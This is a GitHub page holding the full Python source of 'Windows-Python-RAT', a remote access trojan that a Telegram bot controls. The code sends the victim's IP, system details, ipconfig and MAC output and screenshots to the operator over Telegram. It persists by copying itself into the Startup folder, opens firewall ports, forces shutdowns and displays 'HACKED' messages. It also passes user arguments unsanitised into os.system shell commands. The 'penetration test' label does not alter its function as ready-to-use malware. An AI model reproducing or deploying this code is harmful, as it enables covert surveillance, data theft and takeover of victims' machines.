-
Notifications
You must be signed in to change notification settings - Fork 42
/
Windows-Python-RAT.py
344 lines (307 loc) · 13.1 KB
/
Windows-Python-RAT.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
#########################################################
# Windows-Python-RAT #
# [R]emote [A]dministrator [T]ool #
# GitHub: https://github.com/Windows-Python-RAT #
# ##################################################### #
# Coded By Sir.4m1R (Amir Hossein Yeganeh) #
# Telegram: @Sir4m1R #
# Email: Sir.4m1R@Gmail.Com #
# ##################################################### #
# Developed By Hanieh Panahi #
# Telegram: @Hanie0101 #
# ##################################################### #
# The404Hacking #
# Digital Security ReSearch Group #
# ##################################################### #
# Telegram: https://Telegram.me/The404Hacking #
# Instagram: https://instagram.com/The404Hacking #
# Aparat: http://aparat.com/The404Hacking #
# YouTube: http://yon.ir/youtube404 #
# GitHub: https://github.com/The404Hacking #
# LahzeNegar https://lahzenegar.com/The404Hacking #
# Email: The404Hacking.Team@Gmail.Com #
#########################################################
from telegram.ext import Updater , CommandHandler
import telegram
import urllib
import platform
import os
import time
import datetime
import pyttsx
import autopy
# ------------------------------------------------------------------------
#Replace Your Bot API-TOKEN
update = Updater("TOKEN")
# ------------------------------------------------------------------------
# /start
def start_method(bot , update):
ippublic = urllib.urlopen("https://ip.42.pl/raw").read()
hello = 'Hi Dear User !\n'
hello += 'WelCome to Your RAT Control Panel [@Bot]\n\n'
#hello += 'Time: '+time.ctime()+'\n\n'
hello += 'New Target Connected !\nTarget IP: '+ippublic+'\n\n'
hello += 'Help: /help\n@The404Hacking\nDigital Security ReSearch Group'
chat_id = update.message.chat_id
bot.sendMessage(chat_id,hello)
# /help
def help_method(bot , update):
helptxt = '''
WelCome to Help:
------------------------
Bot Commands:
[01] Start & Connect to Target.
[ /] /start
[02] Help RAT.
[ /] /help
[03] System Information.
[ /] /sysinfo
[04] Take Sreenshot.
[ /] /screenshot
[05] Add RAT to StartUP.
[ /] /startup
[06] About RAT.
[ /] /about
[07] Contact RAT.
[ /] /contact
------------------------
Other Commands:
[01] Target IP Address:
[ /] /ip
[02] Get Target IPConfig.
[ /] /ipconfig
[03] Get Target MAC Address.
[ /] /getmac
[04] Shutdown Target Windows.
[ /] /shutdown
[05] ReStart Target Windows.
[ /] /restart
[06] Send HACKED Message.
[ /] /message
[07] Send HACKED Voice Message.
[ /] /voicemsg
[08] Create Folder on Target Desktop.
[ /] /folder [NAME]
[09] Swap Target Mouse Button.
[ /] /swapmouse
[10] Open Port on Target Firewall.
[ /] /port [PORT NUMBER]
[11] Change Target Time to 00:00
[ /] /time
[12] Windows-Python-RAT GitHub.
[ /] /github
@The404Hacking
Digital Security ReSearch Group
'''
chat_id = update.message.chat_id
bot.sendMessage(chat_id , helptxt)
# ------------------------------------------------------------------------
# /time
def time_method(bot , update):
os.system("time 00:00")
chat_id = update.message.chat_id
bot.sendMessage(chat_id , "Target Time Changed to 00:00\n\nHelp: /help\n@The404Hacking\Digital Security ReSearch Group")
# /port [PORT NUMBER]
def port_method(bot , update, args):
os.system('netsh firewall add portopening protocol = TCP port = '+args[0]+' name = "TCP/IP" mode = ENABLE scope = SUBNET')
chat_id = update.message.chat_id
bot.sendMessage(chat_id,"Port Has Been Opened !\n\nPort Number: "+args[0]+"\nProtocol: TCP\nName: TCP/IP\nMode: ENABLE\nScope: SUBNET\n\nHelp: /help\n@The404Hacking\nDigital Security ReSearch Group")
# /swapmouse
def swapmouse_method(bot , update):
os.system("rundll32 user32,SwapMouseButton")
chat_id = update.message.chat_id
bot.sendMessage(chat_id , "Swap Mouse Button Successfully !\n\nHelp: /help\n@The404Hacking\nDigital Security ReSearch Group")
# /folder [NAME]
def folder_method(bot , update, args):
chat_id = update.message.chat_id
bot.sendMessage(chat_id , "Please Wait ...")
os.system("cd\&&C:&&cd %userprofile%\desktop\&&mkdir "+args[0])
chat_id = update.message.chat_id
bot.sendMessage(chat_id , "Folder Created with "+args[0]+" Name !\n\nHelp: /help\n@The404Hacking\nDigital Security ReSearch Group")
# /ipconfig
def ipconfig_method(bot , update):
chat_id = update.message.chat_id
bot.sendMessage(chat_id , "Please Wait ...")
os.system("ipconfig >> C:\\Windows\\getip.txt")
getipfile = open("C:\\Windows\\getip.txt" , "rb")
bot.sendDocument(chat_id,getipfile,"GetIP.txt")
getipfile.close()
# /getmac
def getmac_method(bot , update):
chat_id = update.message.chat_id
bot.sendMessage(chat_id , "Please Wait ...")
os.system("getmac >> C:\\Windows\\getmac.txt")
getipfile = open("C:\\Windows\\getmac.txt" , "rb")
bot.sendDocument(chat_id,getipfile,"GetMAC.txt")
getipfile.close()
# /voicemsg
def voicemsg_method(bot , update):
chat_id = update.message.chat_id
bot.sendMessage(chat_id , "Voice Message Playing !")
sound = pyttsx.init()
sound.setProperty("rate", 110)
sound.say("Your System Has Been HACKED by The404Hacking - Digital Security ReSearch Group")
sound.runAndWait()
chat_id = update.message.chat_id
bot.sendMessage(chat_id , "Voice Message Played !\n\nHelp: /help\n@The404Hacking\nDigital Security ReSearch Group")
# /shutdown
def shutdown_method(bot , update):
chat_id = update.message.chat_id
bot.sendMessage(chat_id, "Shutdown Successfully !\n\nHelp: /help\n@The404Hacking\nDigital Security ReSearch Group")
os.system("shutdown /s /t 1")
# /message
def message_method(bot , update):
os.system("msg * Your System Has Been HACKED by The404Hacking - Digital Security ReSearch Group")
chat_id = update.message.chat_id
bot.sendMessage(chat_id , "HACKED Message has Send !\n\nHelp: /help\n@The404Hacking\nDigital Security ReSearch Group")
# /restart
def restart_method(bot , update):
chat_id = update.message.chat_id
bot.sendMessage(chat_id , "ReStart Successfully !\n\nHelp: /help\n@The404Hacking\nDigital Security ReSearch Group")
os.system("shutdown /r /t 1")
# /ip
def ip_method(bot , update):
ip = urllib.urlopen("https://ip.42.pl/raw").read()
iptxt = ''
iptxt += 'Target IP Public: '+ip+'\n\n'
iptxt += 'Help: /help\n@The404Hacking\nDigital Security ReSearch Group'
chat_id = update.message.chat_id
bot.sendMessage(chat_id, iptxt)
# /about
def about_method(bot , update):
about_text = "\n"
about_text += "Hi !\n"
about_text += "WelCome to Windows-Python-RAT About :)\n"
about_text += "\n"
about_text += "This RAT Created by Sir.4m1R.\n"
about_text += "This is a RAT for Computer Hacking and Infiltration with Microsoft Windows Operating Systems.\n"
about_text += "\n"
about_text += "Using this tool, you can easily perform the Penetration Test on Windows and get the commands that are registered in the management robot to get the Information you want from the Control Panel Robot (Robot management RAT)."
about_text += "\n"
about_text += "This RAT is controlled by a robot in the Telegram. For the robot to work and send Information and logs to you in a telegram, you just have to create a Robot in the Telegram with @BotFather robot."
about_text += "\n"
about_text += "\n"
about_text += "Powered By Sir.4m1R.\n"
about_text += "Developed By Hanieh Panahi\n"
about_text += "Copyright (C) 2018 The404Hacking.\n\n"
about_text += "Contact: /contact\n"
about_text += "Help: /help\n@The404Hacking\nDigital Security ReSearch Group"
chat_id = update.message.chat_id
bot.sendMessage(chat_id , about_text)
# /contact
def contact_method(bot , update):
contact_text = ""
contact_text += "Hi !\n"
contact_text += "\n"
contact_text += "Creator: Sir.4m1R\n"
contact_text += "Telegram: @Sir4m1R\n"
contact_text += "Email: Sir.4m1R@Gmail.Com\n"
contact_text += "-------------------------\n"
contact_text += "Developer: Hanieh Panahi\n"
contact_text += "Telegram: @haniepanahi\n"
contact_text += "Developer Team: @The404Hacking\n"
contact_text += "\n"
contact_text += "The404Hacking\n"
contact_text += "Digital Security ReSearch Group\n"
contact_text += "\n"
contact_text += "Telegram: https://T.me/The404Hacking\n"
contact_text += "Instagram: https://Instagram.com/The404Hacking\n"
contact_text += "Aparat: http://Aparat.com/The404Hacking\n"
contact_text += "YouTube: http://yon.ir/youtube404\n"
contact_text += "GitHub: https://github.com/The404Hacking\n"
contact_text += "LahzeNegar: https://lahzenegar.com/The404Hacking\n"
contact_text += "Email: The404Hacking.Team@Gmail.Com\n"
contact_text += "---------------------------------------------\n"
contact_text += "Admins and Support:\n"
contact_text += "https://T.me/The404HackingAdmins\n"
contact_text += "---------------------------------------------\n"
contact_text += "Powered By Sir.4m1R.\n"
contact_text += "Developed By Hanieh Panahi\n"
contact_text += "Copyright (C) 2018 The404Hacking.\n\n"
contact_text += "About: /about\n"
contact_text += "Help: /help\n@The404Hacking\nDigital Security ReSearch Group"
chat_id = update.message.chat_id
bot.sendMessage(chat_id , contact_text)
# /sysinfo
def sysinfo_method(bot , update):
ip_public = urllib.urlopen("http://ip.42.pl/raw").read()
data = 'OS: '+platform.uname()[0]+' '+platform.uname()[2]+' - '+platform.architecture()[0]+'\n'
data += 'Node: '+platform.node()+'\n'
data += 'PC Name: '+platform.uname()[1]+'\n'
data += 'Version: '+platform.uname()[3]+'\n'
data += 'System Type: '+platform.uname()[4]+'\n'
data += 'Description: '+platform.uname()[5]+'\n'
data += 'Public IP: '+ip_public+'\n'
data += '\n'
data += 'Help: /help\n@The404Hacking\nDigital Security ReSearch Group'
chat_id = update.message.chat_id
bot.sendMessage(chat_id,data)
# /github
def github_method(bot , update):
githubtxt = ''
githubtxt += 'Hi !\n\n'
githubtxt += 'Windows-Python-RAT GitHub:\n'
githubtxt += 'https://github.com/The404Hacking/Windows-Python-RAT\n\n'
githubtxt += 'Help: /help\n@The404Hacking\nDigital Security ReSearch Group'
chat_id = update.message.chat_id
bot.sendMessage(chat_id , githubtxt)
# /screenshot
def screenshot_method(bot , update):
chat_id = update.message.chat_id
bot.sendMessage(chat_id , "Please Wait ...")
image = autopy.bitmap.capture_screen()
image.save("C:\\Windows\\ScreenShot.png")
chat_id = update.message.chat_id
photo = open("C:\\Windows\\ScreenShot.png" , "rb")
bot.sendPhoto(chat_id,photo,"Target ScreenShot !\n\nAgain: /screenshot\n\nHelp: /help\n@The404Hacking")
photo.close()
os.system("del C:\Windows\ScreenShot.png")
# /startup
def startup_method(bot , update):
chat_id = update.message.chat_id
bot.sendMessage(chat_id , "Please Wait ...")
os.system('copy YOUR-COMPILED-RAT-NAME.exe "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"')
#replace your rat name on 'YOUR-COMPILED-RAT-NAME.exe'
chat_id = update.message.chat_id
bot.sendMessage(chat_id , "RAT Added to Target System Startup.\n\nHelp: /help\n@The404Hacking\nDigital Security ReSearch Group")
# ------------------------------------------------------------------------
start = CommandHandler("start" , start_method) #/start
update.dispatcher.add_handler(start)
sysinfo = CommandHandler("sysinfo" , sysinfo_method) #/sysinfo
update.dispatcher.add_handler(sysinfo)
help_ = CommandHandler("help" , help_method) #/help
update.dispatcher.add_handler(help_)
screenshot = CommandHandler("screenshot" , screenshot_method) #/screenshot
update.dispatcher.add_handler(screenshot)
startup = CommandHandler("startup" , startup_method) #/startup
update.dispatcher.add_handler(startup)
ip = CommandHandler("ip" , ip_method) #/ip
update.dispatcher.add_handler(ip)
ipconfig = CommandHandler("ipconfig" , ipconfig_method) #/ipconfig
update.dispatcher.add_handler(ipconfig)
getmac = CommandHandler("getmac" , getmac_method) #/getmac
update.dispatcher.add_handler(getmac)
shutdown = CommandHandler("shutdown" , shutdown_method) #/shutdown
update.dispatcher.add_handler(shutdown)
restart = CommandHandler("restart" , restart_method) #/restart
update.dispatcher.add_handler(restart)
message = CommandHandler("message" , message_method) #/message
update.dispatcher.add_handler(message)
voicemsg = CommandHandler("voicemsg" , voicemsg_method) #/voicemsg
update.dispatcher.add_handler(voicemsg)
folder = CommandHandler("folder" , folder_method , pass_args=True) #/folder [NAME]
update.dispatcher.add_handler(folder)
port = CommandHandler("port" , port_method , pass_args=True) #/port
update.dispatcher.add_handler(port)
swapmouse = CommandHandler("swapmouse" , swapmouse_method) #/swapmouse
update.dispatcher.add_handler(swapmouse)
time = CommandHandler("time" , time_method) #/time
update.dispatcher.add_handler(time)
about = CommandHandler("about" , about_method) #/about
update.dispatcher.add_handler(about)
contact = CommandHandler("contact" , contact_method) #/contact
update.dispatcher.add_handler(contact)
github = CommandHandler("github", github_method)
update.dispatcher.add_handler(github)
update.start_polling()
# ------------------------------------------------------------------------